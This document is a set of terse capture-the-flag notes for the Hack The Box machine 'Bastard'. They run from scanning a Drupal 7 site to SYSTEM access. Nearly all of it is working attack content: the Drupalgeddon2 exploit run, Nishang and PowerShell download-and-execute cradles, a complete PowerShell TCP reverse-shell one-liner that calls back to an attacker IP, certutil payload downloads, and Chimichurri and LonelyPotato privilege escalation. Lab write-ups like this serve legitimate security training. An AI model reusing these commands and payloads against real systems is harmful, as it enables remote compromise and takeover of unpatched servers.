DRUPALSEARCH (DROOPSCAN)

Druaplgeddon(7.58)

Chimichurri

```
PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods:
|_  Potentially risky methods: TRACE
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Welcome to 10.10.10.9 | 10.10.10.9
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

```
root@akg:/home/akg/Desktop/hackthebox/bastard# droopescan scan drupal -u bastard.htb
```

```
root@akg:/home/akg/Desktop/hackthebox/bastard# searchsploit drupal 7.58
```

```
root@akg:/home/akg/Desktop/hackthebox/bastard# cp /usr/share/exploitdb/exploits/php/webapps/44449.rb .
```

```
ruby 44449.rb http://10.10.10.9 –authentication
akg
akg
SHELL GAINED!!!!!!!
```

```
root@akg:/home/akg/Desktop/hackthebox/bastard# python windows-exploit-suggester.py --database 2020-04-04-mssb.xls --systeminfo systeminfo.txt
```

```
Privilege Name          Description                         State
======================= ======================================= =======
SeChangeNotifyPrivilege Bypass traverse checking            Enabled
SeImpersonatePrivilege  Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects               Enabled
```

NISHANG SHELL

```
root@akg:/home/akg/Desktop/tools/nishang/Shells# cp Invoke-PowerShellTcp.ps1 /home/akg/Desktop/hackthebox/bastard/

root@akg:/home/akg/Desktop/hackthebox/bastard# gedit nishang.ps1

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.16 -Port 443 (AT THE END)

root@akg:/home/akg/Desktop/hackthebox/bastard# python -m SimpleHTTPServer 80

drupalgeddon2>> powershell iex(new-object net.webclient).downloadstring('http://10.10.14.16/nishang.ps1')
```

NISHANG SHELL GAINED !!!!!!!!!!

```
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.33:8000/akg.exe','C:\inetpub\drupal-7.54\akg.exe')"
```

```
git clone https://github.com/pimps/CVE-2018-7600.git

python3 drupal.py -c "whoami" http://10.10.10.9

ruby 44449.rb http://10.10.10.9 --authentication
```

https://github.com/Re4son/Chimichurri.git

```
certutil.exe -urlcache -split -f http://10.10.14.11/exploit.exe root.exe

python -m SimpleHTTPServer 80

nc –nlvp 1337

root.exe 10.10.14.11 1337
```

LONELY POTATO

```
root@kali:/home/kali/Desktop/htb/bastard# cp /home/kali/Desktop/htb/bounty/lonelypotato.exe .

root@kali:/home/kali/Desktop/htb/bastard# cp /home/kali/Desktop/htb/bounty/shell.bat .

root@kali:/home/kali/Desktop/htb/bastard# cp /home/kali/Desktop/htb/bounty/powershell-reverse-shell.ps1 .

root@kali:/home/kali/Desktop/htb/bastard# cat shell.bat

powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.27/powershell-reverse-shell.ps1')

root@kali:/home/kali/Desktop/htb/bastard# cat powershell-reverse-shell.ps1

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.27",9003);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

root@kali:/home/kali/Desktop/htb/bastard# python -m SimpleHTTPServer 80

root@kali:/home/kali# nc -nlvp 9003

PS C:\inetpub\drupal-7.54> powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.27/lonelypotato.exe','C:\inetpub\drupal-7.54\lonelypotato.exe')"

PS C:\inetpub\drupal-7.54> powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.27/shell.bat','C:\inetpub\drupal-7.54\shell.bat')"

PS C:\inetpub\drupal-7.54> C:\inetpub\drupal-7.54\lonelypotato.exe * C:\inetpub\drupal-7.54\shell.bat
```